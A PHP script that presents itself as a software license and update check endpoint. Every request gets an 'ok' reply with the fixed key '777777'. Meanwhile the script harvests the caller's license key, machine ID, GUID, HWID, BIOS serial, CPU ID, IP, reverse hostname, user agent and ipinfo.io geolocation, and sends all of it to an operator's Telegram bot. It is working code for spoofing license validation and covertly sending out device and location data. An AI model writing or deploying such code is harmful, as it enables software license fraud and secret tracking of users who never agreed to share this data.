<?php
declare(strict_types=1);

// check_sqlupdate.php (или key_sql.php)
// Принимает данные, шлёт в Telegram, всегда возвращает ok + licenseKey

@ini_set('display_errors', '0');
@ini_set('log_errors', '1');

require __DIR__ . '/common.php';

// -------- config (как в sqlite.php) --------
$config = [];
if (is_file(__DIR__ . '/config.php')) {
    $tmp = require __DIR__ . '/config.php';
    if (is_array($tmp)) $config = $tmp;
}

$tgConf = is_array($config['telegram'] ?? null) ? $config['telegram'] : [];

$tgToken   = (string)($tgConf['bot_token'] ?? '');
$tgChatId  = (string)($tgConf['chat_id'] ?? '');
$tgEnabled = (bool)($tgConf['enabled'] ?? false);

// ---------------- helpers (как в sqlite.php) ----------------
function client_ip_sqlupdate(): string {
    $keys = ['HTTP_CF_CONNECTING_IP', 'HTTP_X_FORWARDED_FOR', 'REMOTE_ADDR'];
    foreach ($keys as $k) {
        if (!empty($_SERVER[$k])) {
            $v = trim((string)$_SERVER[$k]);
            if ($k === 'HTTP_X_FORWARDED_FOR') {
                $parts = explode(',', $v);
                $v = trim($parts[0] ?? '');
            }
            if ($v !== '') return $v;
        }
    }
    return '0.0.0.0';
}

function tg_send_text_sqlupdate(string $token, string $chatId, string $text): void {
    if ($token === '' || $chatId === '') return;

    $url = 'https://api.telegram.org/bot' . $token . '/sendMessage';
    $payload = [
        'chat_id' => $chatId,
        'text'    => $text,
        'disable_web_page_preview' => true,
    ];

    if (function_exists('curl_init')) {
        $ch = curl_init($url);
        curl_setopt_array($ch, [
            CURLOPT_POST           => true,
            CURLOPT_RETURNTRANSFER => true,
            CURLOPT_POSTFIELDS     => $payload,
            CURLOPT_CONNECTTIMEOUT => 5,
            CURLOPT_TIMEOUT        => 10,
        ]);
        @curl_exec($ch);
        @curl_close($ch);
    } else {
        $opts = [
            'http' => [
                'method'  => 'POST',
                'header'  => 'Content-Type: application/x-www-form-urlencoded',
                'content' => http_build_query($payload),
                'timeout' => 10,
            ],
        ];
        @file_get_contents($url, false, stream_context_create($opts));
    }
}

function fetch_ipinfo_sqlupdate(string $ip): array {
    // если в проекте уже есть helper fetchIpInfo() — используем его
    if (function_exists('fetchIpInfo')) {
        $info = fetchIpInfo($ip);
        return is_array($info) ? $info : [];
    }

    $defaults = [
        'country' => 'Unknown',
        'region'  => 'Unknown',
        'city'    => 'Unknown',
        'postal'  => 'Unknown',
        'org'     => 'Unknown',
    ];

    if (!filter_var($ip, FILTER_VALIDATE_IP)) {
        return $defaults;
    }

    $url = "http://ipinfo.io/{$ip}/json";
    $ctx = stream_context_create([
        'http' => [
            'timeout' => 3,
            'header'  => "User-Agent: sqlupdate.php\r\n",
        ],
    ]);
    $body = @file_get_contents($url, false, $ctx);
    if ($body === false) return $defaults;

    $j = json_decode($body, true);
    if (!is_array($j)) return $defaults;

    return [
        'country' => $j['country'] ?? 'Unknown',
        'region'  => $j['region']  ?? 'Unknown',
        'city'    => $j['city']    ?? 'Unknown',
        'postal'  => $j['postal']  ?? 'Unknown',
        'org'     => $j['org']     ?? 'Unknown',
    ];
}

function iso_utc_sqlupdate(): string {
    return (new DateTimeImmutable('now', new DateTimeZone('UTC')))->format('c');
}

function v_to_str_sqlupdate($v): string {
    if (is_bool($v)) return $v ? 'true' : 'false';
    if ($v === null) return 'null';
    if (is_scalar($v)) return trim((string)$v);
    return json_encode($v, JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES) ?: '—';
}


function short_str_sqlupdate(string $s, int $max = 220): string {
    $s = trim($s);
    if ($s === '') return '—';
    if ($max <= 0) return '';
    if (function_exists('mb_strlen') && function_exists('mb_substr')) {
        if (mb_strlen($s, 'UTF-8') <= $max) return $s;
        return mb_substr($s, 0, $max, 'UTF-8') . '…';
    }
    if (strlen($s) <= $max) return $s;
    return substr($s, 0, $max) . '…';
}


function mb_truncate_sqlupdate(string $s, int $max): string {
    if ($max <= 0) return '';
    if (function_exists('mb_strlen') && function_exists('mb_substr')) {
        if (mb_strlen($s, 'UTF-8') <= $max) return $s;
        return mb_substr($s, 0, $max, 'UTF-8') . "\n…(truncated)";
    }
    if (strlen($s) <= $max) return $s;
    return substr($s, 0, $max) . "\n…(truncated)";
}

// --------------- INPUT ----------------
$method = (string)($_SERVER['REQUEST_METHOD'] ?? '');
$ip = client_ip_sqlupdate();
$ua = (string)($_SERVER['HTTP_USER_AGENT'] ?? '');
$host = @gethostbyaddr($ip) ?: '';
$ipinfo = fetch_ipinfo_sqlupdate($ip);

$raw = file_get_contents('php://input');
if ($raw === false) $raw = '';
$rawTrim = trim($raw);

// пытаемся распарсить JSON, но НЕ падаем, если он кривой/пустой
$req = [];
if ($rawTrim !== '') {
    $j = json_decode($rawTrim, true);
    if (is_array($j)) $req = $j;
}

$appId            = (string)($req['appId'] ?? '');
$licenseKey       = (string)($req['licenseKey'] ?? '');
$installedVersion = (string)($req['installedVersion'] ?? '');

$identity = is_array($req['identity'] ?? null) ? $req['identity'] : [];
$machineId = (string)($identity['machineId'] ?? '');
$guid      = (string)($identity['guid'] ?? '');
$hwid      = (string)($identity['hwid'] ?? '');

// --------------- TELEGRAM ----------------
if ($tgEnabled && $tgToken !== '' && $tgChatId !== '') {
    $msg  = "🟣 SQLUPDATE CHECK\n\n";

    $msg .= "APP\n";
    $msg .= "📦 AppId: " . ($appId !== '' ? $appId : "—") . "\n";
    $msg .= "🔑 LicenseKey: " . ($licenseKey !== '' ? $licenseKey : "—") . "\n";
    $msg .= "🧾 Installed Version: " . ($installedVersion !== '' ? $installedVersion : "—") . "\n\n";

    $msg .= "PC INFO\n";
    $msg .= "🖥 Machine ID: " . ($machineId !== '' ? $machineId : "—") . "\n";
    $msg .= "🧩 GUID: "       . ($guid      !== '' ? $guid      : "—") . "\n";
    $msg .= "🔐 HWID: "       . ($hwid      !== '' ? $hwid      : "—") . "\n\n";

    // EXTRA (все остальные поля, чтобы реально “всё полученное” ушло)
    $extra = $req;
    unset($extra['appId'], $extra['licenseKey'], $extra['installedVersion'], $extra['identity']);

    if (!empty($extra)) {
        $msg .= "EXTRA\n";
        foreach ($extra as $k => $v) {
            $msg .= "• " . $k . ": " . v_to_str_sqlupdate($v) . "\n";
        }
        $msg .= "\n";
    }

    // GET-параметры (если есть)
    if (!empty($_GET)) {
        $msg .= "QUERY\n";
        foreach ($_GET as $k => $v) {
            $msg .= "• " . $k . ": " . v_to_str_sqlupdate($v) . "\n";
        }
        $msg .= "\n";
    }

    $msg .= "IP INFO\n";
    $msg .= "🙈 IP: "      . $ip . "\n";
    $msg .= "📌 Host: "    . ($host !== '' ? $host : "—") . "\n";
    $msg .= "📌 Country: " . ($ipinfo['country'] ?? 'Unknown') . "\n";
    $msg .= "📌 City: "    . ($ipinfo['city']    ?? 'Unknown') . "\n";
    $msg .= "📌 Region: "  . ($ipinfo['region']  ?? 'Unknown') . "\n";
    $msg .= "📌 Postal: "  . ($ipinfo['postal']  ?? 'Unknown') . "\n";
    $msg .= "🏢 Org: "     . ($ipinfo['org']     ?? 'Unknown') . "\n\n";

    $msg .= "BROWSER\n";
    $msg .= "🧩 UA: " . ($ua !== '' ? $ua : "—") . "\n\n";

    $msg .= "REQUEST\n";
    if (!empty($req)) {
        $msg .= "📦 AppId: " . ($appId !== '' ? short_str_sqlupdate($appId, 80) : "—") . "\n";
        $msg .= "🔑 LicenseKey: " . ($licenseKey !== '' ? short_str_sqlupdate($licenseKey, 90) : "—") . "\n";
        $msg .= "🧾 Installed Version: " . ($installedVersion !== '' ? short_str_sqlupdate($installedVersion, 40) : "—") . "\n";

        $identity = is_array($req['identity'] ?? null) ? $req['identity'] : [];
        if (!empty($identity)) {
            $msg .= "\nIDENTITY\n";
            $idMap = [
                'machineId'   => ['🖥', 'Machine ID'],
                'guid'        => ['🧩', 'GUID'],
                'hwid'        => ['🔐', 'HWID'],
                'biosSerial'  => ['🧬', 'BIOS Serial'],
                'cpuId'       => ['🧠', 'CPU ID'],
            ];
            $idOrder = ['machineId','guid','hwid','biosSerial','cpuId'];

            foreach ($idOrder as $k) {
                if (!array_key_exists($k, $identity)) continue;
                $v = $identity[$k];
                [$emo, $label] = $idMap[$k];
                $msg .= $emo . " " . $label . ": " . short_str_sqlupdate(v_to_str_sqlupdate($v), 260) . "\n";
            }

            foreach ($identity as $k => $v) {
                if (in_array($k, $idOrder, true)) continue;
                $msg .= "• " . $k . ": " . short_str_sqlupdate(v_to_str_sqlupdate($v), 260) . "\n";
            }
        }

        $extra = $req;
        unset($extra['appId'], $extra['licenseKey'], $extra['installedVersion'], $extra['identity']);
        if (!empty($extra)) {
            $msg .= "\nREQUEST EXTRA\n";
            foreach ($extra as $k => $v) {
                $msg .= "• " . $k . ": " . short_str_sqlupdate(v_to_str_sqlupdate($v), 520) . "\n";
            }
        }

        $msg .= "\n";
    } else {
        if ($rawTrim !== '') {
            $msg .= "📨 Raw: " . short_str_sqlupdate($rawTrim, 1400) . "\n\n";
        } else {
            $msg .= "—\n\n";
        }
    }



    $msg .= "META\n";
    $msg .= "• Method: " . ($method !== '' ? $method : "—") . "\n";
    $msg .= "• URI: " . (string)($_SERVER['REQUEST_URI'] ?? '—') . "\n\n";

    $msg .= "⏱️ Time (UTC): " . iso_utc_sqlupdate();

    // лимит Telegram ~4096 символов
    $msg = mb_truncate_sqlupdate($msg, 3900);

    tg_send_text_sqlupdate($tgToken, $tgChatId, $msg);
}

// --------------- RESPONSE (как вы попросили) ----------------
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');

echo json_encode([
    'ok' => true,
    'licenseKey' => '777777',
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);

exit;
